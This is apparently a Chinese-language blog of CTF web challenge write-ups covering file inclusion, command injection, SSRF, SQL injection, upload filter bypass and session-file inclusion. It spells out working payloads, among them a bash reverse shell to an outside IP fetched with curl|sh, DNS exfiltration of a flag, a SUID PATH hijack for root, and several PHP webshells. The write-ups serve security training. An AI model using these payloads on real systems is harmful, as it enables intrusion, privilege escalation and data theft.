端午就该吃粽子

访问login.php,会给一个这样的链接http://www.bmzclub.cn:22937/login.php?zhongzi=show.php

看样子是文件读取的漏洞,尝试读取一个passwd文件。

image-20210922170259145

可以直接读取,再去试试根目录下的flag文件,提示你是偷粽子的。从匹配上看是只要存在flag这个词就不行。

image-20210922170335891

尝试利用远程包含,屏蔽了http关键词。file没有屏蔽,但是不能读取flag。那就尝试一下伪协议。

php://input不给用,都会报错。

image-20210922171943816

尝试读取的命令php://filter

php://filter/convert.base64-encode/resource=./show.php

image-20210922172127683

解编码后发现是页面的HTML源码。里面注释了index.php。读取发现是如下php代码

php://filter/convert.base64-encode/resource=./index.php

image-20210922172304376

<?php
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){
      die("<script language='javascript' type='text/javascript'>
      alert('no no no!')
      window.location.href='index.php';</script>");
  }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
      die("<script language='javascript' type='text/javascript'>
      alert('no flag!')
      window.location.href='index.php';</script>");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo $a;
}
?>

其中可以看到的是,基本过滤了文件读取的命令和常见反弹shell的方式,然后还不准同时出现flag这四个字符。

上面过滤的命令中,恰好有一个tail没有过滤,也就是使用这个来读取flag。

尝试先执行个命令看看

image-20210922173502404

然后tail去读文件,但是空格被禁用了,fuzz一下发现可以使用%09,但是还有flag不能用。这个可以使用通配符来绕过读取,最后就是

index.php?url=127.0.0.1||tail%09/fla?

image-20210922173801969

hitcon_2017_ssrfme

访问给出的地址,首页是一段PHP代码

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox); 
​
    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);

看代码是使用IP地址来生成一个目录,这个目录我们可以根据自己的出口IP来确认,然后使用shell_exec来执行命令。使用传入的文件名参数进行创建目录,如果存在目录则去掉点,应该是防止目标遍历,最后生成文件名的文件,写入shell_exec执行的结果。

一开始还以为是需要执行命令来看,先来看看大概的执行结果,发现写入的是首页。才想起来这是个SSRF的题。

/?url=http://127.0.0.1&filename=123.123

尝试利用file协议来读取flag

/?url=file:///flag&filename=123.123

利用orange和IP生成md5,到指定目录下查看文件

/sandbox/8c2xxx9c5/123.123

image-20210924101620908

n1ctf/hard_php

image-20210924141002836

一个登陆页面,按照惯例查看是否使用是文件包含读取,修改login为index,发现有登陆验证跳转,修改为

/index.php?action=../../../etc/passwd

image-20210924141101145

尝试去读取flag

image-20210924141120638

WEB_penetration

这个题目稍微有点奇怪,一直在报错,不确定是不是程序问题。代码为:

<?php
highlight_file(__FILE__);
if(isset($_GET['ip'])){
    $ip = $_GET['ip'];
    $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
    $blacklist = array_merge($_);
    foreach ($blacklist as $blacklisted) {
        if (strlen($ip) <= 18){
            if (preg_match ('/' . $blacklisted . '/im', $ip)) {
                die('nonono');
            }else{
            exec($ip);
            }
            
        }
        else{
        die("long");
        }
    }
    
}
?>

这个代码看起来是屏蔽了很多关键词,实际上是一个词匹配去查一次,也就是总共进行很多次匹配,有一次符合最后则返回nonono。那么也就是只需要第一次绕过这个过滤就算后面匹配到,命令依然执行了,所以限制只有长度不超过十八即可。但是结果并不会显示,所以我们需要进行一定的外带的办法。

/?ip=ls+/>1.txt

image-20210924152835470

flag并不在根目录,查看其他目录。没有发现其他可读目录下存在,那可能在root目录,需要一定的提权方式,这种读写的办法就不太适用了。

image-20210924154101831

想办法反弹一个shell出来,由于长度限制,此处不直接使用IP,转为十进制IP。利用如下

/?ip=curl+1093xxx907|sh

web服务使用flask搭建,写一个简单的返回。
@app.route('/')
def hello_world():
return 'bash -c "bash -i >& /dev/tcp/65.49.209.99/8888 0>&1"'

image-20210924155033081

查找有没有可用的SUID

find / -perm -u=s -type f 2>/dev/null

image-20210924155231086

其中有一个奇怪的love程序,执行后类似是PS的查看进程的结果。所以可能需要劫持PS命令来提取。

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH

再去执行love,即可调用当前tmp目录下的ps命令,获取到一个root的shell。

image-20210924160909016

其中demo.c应该就是love的源代码

# cat demo.c

#include<unistd.h>
void main()
{
setuid(0);
setgid(0);
system("ps");
}

流量监控平台

WEb界面需要登陆,账号admin/123456登陆。

image-20210926100053004

可以执行命令,看样子是绕过命令执行。由于不回显,所以使用DNS外带的方式。先测试一下可能使用的命令,发现常用的命令不能使用,比如ping,curl等会报错,采用单引号分隔绕过黑名单。还在报错,测试发现是拦截了空格。使用%09绕过。

ord=ls;pi''ng%09byvdxx.dnslog.cn

image-20210926100226721

发现可行,然后使用ceye的监听平台

ord=ls;pi''ng%09`whoami`.xxxxb4.ceye.io

image-20210926100350410

查看flag

ord=ls;pi''ng%09`cat%09/flag`.r9rub4.ceye.io

image-20210926100456158

rctf2015_easysql

打开是一个注册登陆页面,需要先注册个账号登陆,里面就是一些有的没得功能,还有一个修改密码。既然是注入,那就先把注册登陆看看有没有注入点,但是在注册的时候有过滤。

按照惯例,可能是二次注入,注册一个存在问题的用户名,然后在后续调用的时候触发注入,后续调用明显就是修改密码,这里只传输密码,那可能就是从session获取用户名。先去看看怎么构造能报错啥的。

从过滤上看and,or,空格等都被过滤掉了。有几个是注册成功的先去查看一下

image-20210926161421706

登陆admin%22%2f%2a的时候,去修改密码功能,发现报错

image-20210926161510472

从报错上看SQL语句大概是

update user set pwd="xxxx" where username="admin"/*" and pwd='698d51a19d8a121ce581499d7b701668';

构造一个报错语句

username=1"and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

但是上面这个语句并不能使用,其中有空格和and符,修改为如下:

username=1"%26%26(updatexml(1,concat(0x7e,(select%0buser()),0x7e),1))#

登陆再去修改密码,发现可以正常执行,那就查库查表查字段一条龙服务。

image-20210926162235294

当前库web_sqli

username=1"%26%26(updatexml(1,concat(0x7e,(select%0bdatabase()),0x7e),1))#

查看库内的表,正好第一次就是flag表

username=1"%26%26(updatexml(1,(select%0bconcat(0x7e,(table_name),0x7e)%0bfrom%0binformation_schema.tables%0bwhere%0btable_schema='web_sqli'%0blimit%0b1,1),1))#

image-20210926163153625

查看字段,就存在一个flag字段

1"%26%26(updatexml(1,(select%0bconcat(0x7e,(column_name),0x7e)%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='flag'%0blimit%0b0,1),1))#

查看字段值,显示RCTF{Good job! But flag not her,啊这。。。

1"%26%26(updatexml(1,(select%0bconcat(0x7e,flag,0x7e)from%0bflag%0blimit%0b0,1)%0b,1))#

懂了,那个flag表是骗人的。再查询一遍还有article表和users表,用users表来查找。终于在字段中查到一个real_flag_1s_here

1"%26%26(updatexml(1,(select%0bconcat(0x7e,(column_name),0x7e)%0bfrom%0binformation_schema.columns%0bwhere%0btable_name='users'%0blimit%0b3,1),1))#

再来查看字段值,limit查看都是一个个xxx,直接聚合输出

1"%26%26(updatexml(1,(select%0bconcat(0x7e,(select%0bgroup_concat(real_flag_1s_here)from%0busers),0x7e))%0b,1))#

image-20210926165906689

啊这。。。好家伙,不够长的。。。那就还是一个个输出,先用Intruder批量注册。然后用下面的脚本查看。

#coding:utf-8

import requests
import re

headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Referer': 'http://www.bmzclub.cn:22937/changepwd.php',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Cookie': 'Hm_lvt_d7a3b863d5a302676afbe86b11339abd=1631932461,1632274696,1632620435; session=5424329c-1b2e-4349-b4e1-0d2f55c408c5; PHPSESSID=1h1clgvbkvn31qbng29c0m8mr6; Hm_lpvt_d7a3b863d5a302676afbe86b11339abd=1632637433; td_cookie=468906102'
}

for i in range(1, 21):
data = 'username=1"%26%26(updatexml(1,concat(0x7e,(select%0breal_flag_1s_here%0bfrom%0busers%0blimit%0b{id},1),0x7e),1))#&password=111'.format(id=str(i))
r = requests.post('http://www.bmzclub.cn:22937/login.php', headers=headers, data=data)

r = requests.post('http://www.bmzclub.cn:22937/changepwd.php', headers=headers, data="oldpass=111&newpass=111")
print(re.findall('XPATH syntax error: (.*)', r.text))

结果全是xxx,啊这,给孩子整不会了。这难道就是0 Solver的原因?

TCTF2019_Wallbreaker_Easy

提示如下

image-20210927105315721

蚁剑连接页面,这个是需要绕过disable_functions,phpinfo里紧了一堆函数

image-20210927105350495

既然是7.2的PHP,那就蚁剑php7-backtrace-bypass一把嗖。

image-20210927105430695

insomniteaser_2019_l33t_hoster

此问题并没有正确解出,本来使用大小写后缀外加图片马来绕过限制,但是发现并不会当作php执行。所以此处使用WP复现

首先是代码

$disallowed_ext = array(
"php",
"php3",
"php4",
"php5",
"php7",
"pht",
"phtm",
"phtml",
"phar",
"phps",
);


if (isset($_POST["upload"])) {
if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) {
die("yuuuge fail");
}

$tmp_name = $_FILES["image"]["tmp_name"];
$name = $_FILES["image"]["name"];
$parts = explode(".", $name);
$ext = array_pop($parts);

if (empty($parts[0])) {
array_shift($parts);
}

if (count($parts) === 0) {
die("lol filename is empty");
}

if (in_array($ext, $disallowed_ext, TRUE)) {
die("lol nice try, but im not stupid dude...");
}

$image = file_get_contents($tmp_name);
if (mb_strpos($image, "<?") !== FALSE) {
die("why would you need php in a pic.....");
}

if (!exif_imagetype($tmp_name)) {
die("not an image.");
}

$image_size = getimagesize($tmp_name);
if ($image_size[0] !== 1337 || $image_size[1] !== 1337) {
die("lol noob, your pic is not l33t enough");
}

$name = implode(".", $parts);
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);
}

黑名单限制文件后缀,本来看到in_array中带了true,还以为是大小写绕过。实际是使用htaccess文件来定义文件解析类型。

上传.htaccess文件。此处由于会对文件名做处理,所以需要使用..htaccess文件来绕过执行,使得能正确保存文件。

	$parts = explode(".", $name);    #Array([0] =>  [1] =>  [2] => htaccess)
$ext = array_pop($parts); #htaccess

if (empty($parts[0])) { #true
array_shift($parts); #返回删除的'',还剩$parts[1] => ''
}

if (count($parts) === 0) { #false count=1
die("lol filename is empty");
}
.....
$name = implode(".", $parts); #返回空,所以后续拼接的时候就是$userdir . "." . $ext

剩下的就是图片大小的问题,WP采用的图片格式为XBM格式,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。

前两个#defines指定位图的高度和宽度(以像素为单位),比如以下xbm文件:

#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

后续就是绕过<?这种过滤,WP解释由于使用PHP7.2,所以<script>指定语言的方式不能使用,这个没看出来PHP的版本。采用UTF-16大端编码格式,用一张图表示,utf-8一个字符一个字节,现在utf-16是两个字节编码一个字符。

所以利用如下脚本生成

#!/usr/bin/python3

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
phpfile = open(filename, 'wb')

phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)

phpfile.close()

def generate_htacess():
htaccess = open('..htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .php16\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()

generate_htacess()

generate_php_file("webshell.php16", "<?php system($_GET['cmd']);?>")
generate_php_file("scandir.php16", "<?php echo implode('\n', scandir($_GET['dir']));?>")

由于设置了diable,所以不能执行命令,如果需要考虑绕过的形式,可以利用蚁剑来直接执行。或者利用文件读取的shell。直接读取flag。

2018网鼎杯Comment

打开页面是一个留言板,留言会显示需要登陆,已经给了一个账号,zhangwei,但是密码不对,既然给了一个账号那就爆破一下密码,发现常规密码都不对,再次看密码格式三个星号可能代表需要爆破这三位?

设置数字爆破到密码为zhangwei666。

发帖后发现可以查看详情并且再去留言,可能是二次注入?使用一个异常的发帖后,再去给这个帖子提交留言,发现不能显示,可能是有问题。

试了一圈发现不太行,可能是需要组合利用,那还需要源代码查看。扫描一下目录。

发现一堆git泄露,好家伙在这等我呢。

找到一个write_do.php文件。

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

字段都是直接拼接,但是使用了addslashes转义字段。查找一下绕过的方式

1:字符编码问题导致绕过
1.1、设置数据库字符为gbk导致宽字节注入
1.2、使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入

2:编码解码导致的绕过
2.1、url解码导致绕过addslashes
2.2、base64解码导致绕过addslashes
2.3、json编码导致绕过addslashes

3:一些特殊情况导致的绕过
3.1、没有使用引号保护字符串,直接无视addslashes
3.2、使用了stripslashes
3.3、字符替换导致的绕过addslashes

不过这个地方既没有编解码的函数也没有字符编码的设置,还使用了单引号闭合。理论上按照闭合那一套是不能注入的。但是现在有个问题是

$category = mysql_fetch_array($result)['category'];

如上获取数据的时候,没有使用转义函数,后续直接进行的拼接。addslashes函数转义保存到数据库的时候,反引号是不保存到数据库的,也就是\'保存到数据库就变成了单引号。

也就是需要我们在发帖的时候保存category字段一个注入的代码,在留言评论的时候来触发他。

先来构造一下SQL语句,既然是insert注入,那就用盲注,构造如下语句。

insert into comment
set category = '111' and if((substr((select user()),1,1)='r'),sleep(5),0),#',
content = '$content',
bo_id = '$bo_id'

先来发个帖子,咱来评论留言,发现SQL被执行。

image-20211009172411010

既然user是r开头的,那估计也就是root@localhost了,查库表。本来写个脚本执行,但是发现总是请求过多,响应超时。

搞了半天总是报错,就看看能不能报错回显出来,本地测试一个报错回显的语句,这样写能成功,但是需要出单引号,上面的语句只能闭合不能出去。

insert into users
set id = 55,
username = updatexml(1,concat(0x7e,(version())),0),
password = '11111';

这是个多行的SQL语句,可以使用多行注释来拼接,然后再写一个参数进去,类似如下:

insert into comment
set category = '111',/*',
content = '*/ content=updatexml(1,concat(0x7e,(version())),0),#',
bo_id = '$bo_id'

试了半天也没结果,然后才想起来这报错不会被写进去,直接报错去了。。。

既然能写进去,那就直接执行,不需要报错语句,测试以下语句。

insert into comment
set category = '111',/*',
content = '*/ content=version(),#',
bo_id = '$bo_id'

回显如下

image-20211015145908789

想了一圈子发现还是最简单的方式能直接使用。查库名为ctf。如下查询表的时候注意要括号包裹不然会报错。

insert into comment
set category = '111',/*',
content = '*/ content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),#',
bo_id = '$bo_id'

image-20211015152847893

查询字段名,主要表名要十六进制形式,查询user表。

content=*/+content=(select+group_concat(COLUMN_NAME)+from+information_schema.COLUMNS+where+table_schema=database()+and+TABLE_NAME=0x75736572),#&bo_id=1

image-20211015163102290

查字段信息,就一个zhangwei。

content=*/+content=(select+group_concat(username)+from+ctf.user),#&bo_id=1

换一个表查,board表。hex值为0x626f617264。字段有:id,category,title,content

content=*/+content=(select+group_concat(COLUMN_NAME)+from+information_schema.COLUMNS+where+table_schema=database()+and+TABLE_NAME=0x626f617264),#&bo_id=1

这几个字段查了一遍还是没有信息,表comment也没有信息,这就有意思了。不在数据库里,SQL还能干啥,毕竟是root权限,试试能不能写文件。

试了一番发现并不能愉快的写文件,或者目录是特定目录。文件不给写试试能不能读。

content=*/+content=(SELECT+LOAD_FILE(0x2f6574632f706173737764)),#&bo_id=2

image-20211015173416010

好家伙 又是一个花式文件读取。直接读取根目录下的flag文件

content=11*/+content=(SELECT+LOAD_FILE(0x2f666c6167)),#&bo_id=3

image-20211018101945665

asis_2019_unicorn_shop

访问首页是一个购买网页,需要购买独角兽。但是我们没有钱,明显买不了。随便输入一个数

image-20211018104332545

发现需要一个Unicode的编码参数,而且用了unicodedata.numeric来处理输入的值。意思是将Unicode转为等效的数值,那么可能就是Unicode编码转换中绕过数值购买判断。

其中最贵的是1337,那么需要找到一个转换后大于等于1337的Unicode码。

选择如下的符号:https://www.compart.com/en/unicode/U+10123

image-20211018114617271

不过这个flag应该是有问题的,并不能验证成功。

buuctf_2018_online_tool

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

打开首页,又是一段代码,其中涉及两个函数escapeshellarg和escapeshellcmd,这是个防止命令执行的函数,区别在于

escapeshellarg:转义其中的单引号,并用单引号来包裹字符串。保证输入为一个字符串。

escapeshellcmd:转义可能导致命令执行的特殊符号,常见的特殊符号包括换行符都被会转义,单双引号在不配对的时候也被转义。保证输入为避免利用shell的特性执行其他命令。

本身正常情况下,都能起到防止命令注入,但是如果在一起使用,就会导致异常转义,因为escapeshellcmd也转义反斜线。

127.0.0.1' id
escapeshellarg: '127.0.0.1'\'' id'
escapeshellcmd: 127.0.0.1\' id

在一起使用就会变成

escapeshellarg+escapeshellcmd: '127.0.0.1'\\'' id\'

简化上面的输入就是,第一个单引号已经被转义,后面的单引号也是,所以此处只当作字符来处理。

127.0.0.1\ id'

但以上的命令并不能被执行,问题在于利用shell特性的分割连接符等都被转义了。以上解决的只是把一个字符串的输入分割成了携带参数形式的输入。

后面需要利用nmap,既然是能分割成携带参数选项的输入,那需要配合nmap的参数来执行。记得在nmap的一个低版本存在一个提权问题,不过由于是交互界面。也不能使用shell的命令符号,需要查找一个nmap能执行使用的参数。

首页代码中使用IP创建一个sandbox的目录,按照惯性,应该是为了写文件而准备的,所以应该是利用nmap的输出属性来执行。nmap输出参数有-oN/-oX/-oS/-oG/-oA

首先需要调试一个能正常逃逸出单引号的payload,可以在https://tool.lu/coderunner测试,首先需要逃逸出双引号的两端包裹,先在两端添加两个单引号,输出为:

''\\''\<\?php @eval\(\$_POST\[123\]\)\;\?\> -o index.php'\\'''
简化为:\<?php @eval($_POST[123]);?> -o index.php\\

再需要分割开两端的反斜线,两端添加两个空格。

' <?php @eval($_POST[123]);?> -o index.php '
输出为:''\\'' \<\?php @eval\(\$_POST\[123\]\)\;\?\> -o index.php '\\'''

于是大概能用的payload就出来了,先测试一下哪个参数可以使用,一个个试一下,发现oG可以使用。

image-20211018151828426

最后剑来,在根目录下发现一个flag

image-20211018151945869

哎嘿,这个flag又报错,看来0Solves的多少有点问题。

Bestphp

首页又是一段PHP

<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html:/tmp');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>

由于存在call_user_func,所以我们可以覆盖file参数,来达到包含我们想要的文件,如果直接读取flag的话,下面的内容就有点多余,所以这里大概需要读取function和admin文件来查看。不能直接包含,不然PHP代码看不到。

/?function=extract&file=php://filter/convert.base64-encode/resource=./function.php

function内容为如下,看起来是个黑名单过滤。

<?php
function filters($data){
foreach($data as $key=>$value){
if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i',$value)){
die('Do not hack me!');
}
}
}
?>

admin文件为

<?php
if(empty($_SESSION['name'])){
session_start();
#echo 'hello ' + $_SESSION['name'];
}else{
die('you must login with admin');
}
Pz4

看起来没有直接利用的函数,但是这个创建了session,也就是有session文件的写入,我们需要去读取session文件来包含。

session的name在首页的POST中传输,再去访问admin文件,这里只判断参数是不是空。

/?function=extract&file=php://filter/convert.base64-encode/resource=/tmp/sess_k8ud00tfqs2mevh289uukn5to5

加载发现,并没有回显,也许不在这个目录,在/var/lib下。

但是这里有一个问题,由于open_basedir的存在,我们不能加载别的目录下的文件,只能加载当前目录和tmp目录。

session_start函数有一个参数为save_path,可以设置保存路径,注意此处随便写入一个session的文件名,不然在POST获取的时候,就已经创建null。

POST /?function=session_start&save_path=/tmp HTTP/1.1
Host: www.bmzclub.cn:22937
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=123
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

name=<?php phpinfo();?>

获取session

/?function=extract&file=/tmp/sess_123

image-20211018172443260

写入一个shell

name=<?php system($_GET["aaa"]);?>

image-20211018172740231





# 渗透测试  

tocToc: